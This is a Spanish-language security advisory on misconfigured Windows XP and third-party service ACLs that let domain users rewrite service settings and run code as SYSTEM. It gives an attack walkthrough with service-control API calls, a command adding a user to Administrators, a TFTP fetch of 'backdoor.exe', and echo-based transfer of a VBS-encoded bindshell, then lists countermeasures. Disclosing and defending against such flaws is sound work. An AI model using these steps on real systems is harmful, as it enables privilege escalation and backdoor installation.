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Introducción: 
Todos los recursos de sistemas basados en NT tienen listas de control de acceso que 
especifican que usuarios pueden acceder a ellos. Los servicios del sistema operativo 
también poseen su propia ACL, asignada a la clave del registro  
HKLM\SYSTEM\CurrentControlSet\Services\serviceName y cuya función es especificar que 
roles de usuario pueden modificar su configuración. Una gestión incorrecta de estas 
ACLs puede permitir  accesos no autorizados a nuestro sistema.  
 
En sistemas Windows XP SP1, existen 
determinados servicios del sistema 
operativo [1], que garantizan al grupo 
“Usuarios autenticados” permisos de 
modificación sobre estos recursos. El 
usuario que disponga de este privilegio 
podría cambiar la ruta de ejecución de 
la aplicación y modificar otros 
parámetros relativos al servicio, como 
por ejemplo el tipo de inicio del servicio 
(Automático, Deshabilitado,…) o la 
aplicación a ejecutar, pudiendo 
ejecutarse código con los privilegios 
del servicio.  
 
Esto supone un también grave riesgo para la seguridad dado que un servicio 
deshabilitado, que hasta la fecha no era considerado un vector de ataque [2], puede ser 
modificado para forzar la ejecución de comandos. 
 

 
Servicios de Windows afectados en configuraciones por defecto 

 
Los servicios de Microsoft Windows, mostrados en la imagen anterior,  están afectados 
en las configuraciones por defecto aunque la presencia de esta vulnerabilidad puede 
depender en gran medida de las plantillas administrativas implantadas en el sistema.  
De esta forma, una plantilla administrativa desarrollada en un sistema Windows XP SP1 
e implantada sobre un sistema XP SP2 puede provocar que esa versión pase a estar 
afectada.  
 
 
 
 



Análisis de la vulnerabilidad: 
El impacto de este fallo de configuración de los servicios de sistemas Windows, y que 
también afecta a software de otros fabricantes, supone que en entornos corporativos, en 
los que los equipos de usuario y servidores están integrados en el dominio, un usuario 
puede conectarse con el sistema vulnerable, haciendo uso de sus credenciales de usuario 
del dominio. Esta conexión garantizará al usuario de forma automática el rol  de 
“usuario autenticado” en el sistema remoto. Este rol le permitirá modificar la 
configuración del servicio. 
 
 
HP Software: "Pml Driver HPZ12" (HP Printer Laserjet 4200L PCL 6) 
Audodesk: "Autodesk Licensing Service" 
Dell Power Managment Software for network cards: "NICCONFIGSVC" 
Macromedia: "Macromedia Licensing Service" 
Zonelabs.com TrueVector Device Driver: "vsdatant" 
C-Dilla Software: "C-DillaCdaC11BA" 
Macrovision SECURITY Driver (Security Windows NT): "CdaC15BA" 
Macrovision SECURITY Driver (Security Windows NT): "SecDrv" 

Servicios de otros fabricantes que garantizan permisos de modificación a Everyone 
 
 Los requisitos para establecer esta conexión son: 

1- El módulo de Cliente para redes Microsoft está habilitado. 
2- Se garantice al usuario el inicio de sesión por red (por defecto “Usuarios del 

dominio”.WNetAddConnection2(&NET,pass,user,CONNECT_COMMANDLINE); 
3- No existe ningún firewall que impida la comunicación con el puerto 135 TCP 
4- El usuario no tiene privilegios anónimos en el sistema SCM = 

OpenSCManager(host,NULL,STANDARD_RIGHTS_WRITE | SERVICE_START ); 
 
Una vez que la conexión con el “Service Control Manager” se ha llevado a cabo de 
forma satisfactoria,  es posible modificar la configuración del servicio con la siguiente 
API del sistema: 
 

ChangeServiceConfig( 
Svc,SERVICE_NO_CHANGE,SERVICE_AUTO_START, 
SERVICE_ERROR_IGNORE,firewall,NULL,NULL,"", 

NULL,NULL,NULL); 
 
Si el servicio tiene una ACL incorrecta, esta llamada se ejecutará con éxito y la 
configuración del servicio será modificada. Especialmente interesante es modificar el 
parámetro de ejecución establecido el tipo AUTO_START 
 
Llegados a este punto, tenemos que afrontar una  serie de decisiones importantes que 
podrían permitir ganar acceso al sistema. 
 

1- ¿Qué queremos ejecutar? 
a. Comandos del sistema (net localgroup Administrators Domain\test /add) 
b. Bindshell (problemática con firewall de Windows XP) 
c. Transferencia de aplicaciones 

2- ¿Cómo vamos a transferir nuestras aplicaciones?  
a. Script FTP (echo user ftp >a & echo pass anonymous@foo >>a.txt & ..) 
b. TFTP,  (tftp –i GET backdoor.exe host) 
c. Echo (echo texto >>fichero ) 



d. Reverse telnet (telnet –f \logfile.vbs ) 
3- ¿Que permisos en el sistema de archivos debemos tener para llevar a cabo 

esta tarea? 
a. Escribir, Lectura y ejecución. 
b. Garantizar escritura a System y Local Service. 

 
Los servicios que vayamos a modificar suelen ejecutarse como SYSTEM o Local 
Service por lo que es prioritario que nuestro código sea capaz de acceder al disco para 
guardar nuestro código ejecutable.  
 
La configuración por defecto de Windows XP, no garantiza al usuario Local Service 
escritura en el directorio raíz pero por el contrario si que le permite crear directorios. 
Esto puede ser utilizado para crear una carpeta en el directorio raíz dentro de la cual, al 
garantizarse privilegios totales al grupo “Creator Owner”, podremos escribir sin 
restricciones. 
 
Nuestro primer objetivo será crear dicha carpeta y, para garantizar que el software 
Microsoft Antispyware no pueda interceptar nuestras acciones, mataremos el proceso y 
añadiremos una nueva entrada en el firewall de Windows XP permitiendo el acceso al 
puerto que usará nuestra puerta trasera. 
 

 
 
Con respecto a la transferencia de ficheros, vamos a considerar la posibilidad de que no 
tengamos permisos de ejecución sobre ftp.exe, tftp.exe y telnet.exe por lo que haremos 
uso únicamente del comando cmd.exe. La shell del sistema (cmd.exe) nos permite 
escribir en ficheros haciendo uso del comando  echo. Para poder transferir un fichero 
binario debemos convertirlo antes a ASCII (usando por ejemplo exe2vbs[3]) que genera 
un script .vbs ejecutable que contiene nuestra aplicación. 
 
Una vez convertida nuestra aplicación, podemos modificar el servicio de forma que 
ejecute nuestro script, que contendra varias entradas como: 
cmd.exe /c echo “cadena del binario” >> \servicios\backdoor.vbs  
 
Srvcheck [4] realiza estas tareas transfiriendo una bindshell de 800 bytes, convertida a 
vbs, en una única petición permitiendo automatizar las fases de análisis y ataque en un 
test de intrusión. 
  

 
 



La correcta ejecución de esta herramienta permitirá, tras descomprimirse el fichero vbs,  
obtener una shell interactiva en los sistemas de un dominio e incluso la elevación local 
de privilegios.  
 
 
 
 
 
Contramedidas: 
Analizando el funcionamiento de la herramienta Srvcheck es posible definir una serie 
de contramedidas que nos ayuden a evitar fallos de seguridad como este. 
 

1- No permitir el inicio de sesión por red a usuarios del dominio: Utilizar una 
ACL más restrictiva. 

2- Denegar permisos de escritura a SYSTEM y Local Service en el directorio raíz 
del disco. 

3- Denegar el acceso a las aplicaciones cmd.exe, ftp.exe, tftp.exe y telnet.exe 
(en el caso de ser necesario, renombrarlas y hacer uso de las copias de las 
aplicaciones) 

4- Verificar las ACLS de los servicios. 
5- No utilizar Roles de “usuarios Avanzados” o “Operadores de Red” dado que los 

permisos de determinados servicios permiten la elevación de privilegios local y 
remotamente. 

6- Aplicar el boletín de seguridad de Microsoft de Marzo [5] 
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